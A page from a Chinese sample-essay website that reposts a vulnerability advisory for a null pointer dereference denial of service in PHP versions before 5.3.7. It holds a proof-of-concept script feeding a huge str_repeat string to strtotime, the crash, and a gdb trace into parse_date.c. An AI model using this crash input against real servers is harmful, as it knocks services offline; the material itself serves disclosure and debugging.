1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > PHP空指针 PHP 5.3.7之前版本空指针引用拒绝服务漏洞

PHP空指针 PHP 5.3.7之前版本空指针引用拒绝服务漏洞

时间:2020-05-11 03:51:30

相关推荐

PHP空指针 PHP 5.3.7之前版本空指针引用拒绝服务漏洞

127# ulimit -m 100000

127# ulimit -v 100000

127# cat /www/strtotime.php

<?php

$strx=str_repeat("A",$argv[1]);

var_dump(strtotime($strx));

?>127#

127# /cxib/5371/build/bin/php /www/strtotime.php 33388888

Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php

(gdb) r /www/strtotime.php 33388888

Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.

0x0806e8bd in add_error (s=0xbfbfcf90,

error=0x83ea7d8 "Double timezone specification")

at /cxib/5371/ext/date/lib/parse_date.c:355

355 s->errors->error_messages[s->errors->error_count -

1].position = s->tok ? s->tok - s->str : 0;

(gdb) print s->errors->error_messages

$1 = (struct timelib_error_message *) 0x0

(gdb) print s->errors->error_count

$2 = 1835009

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。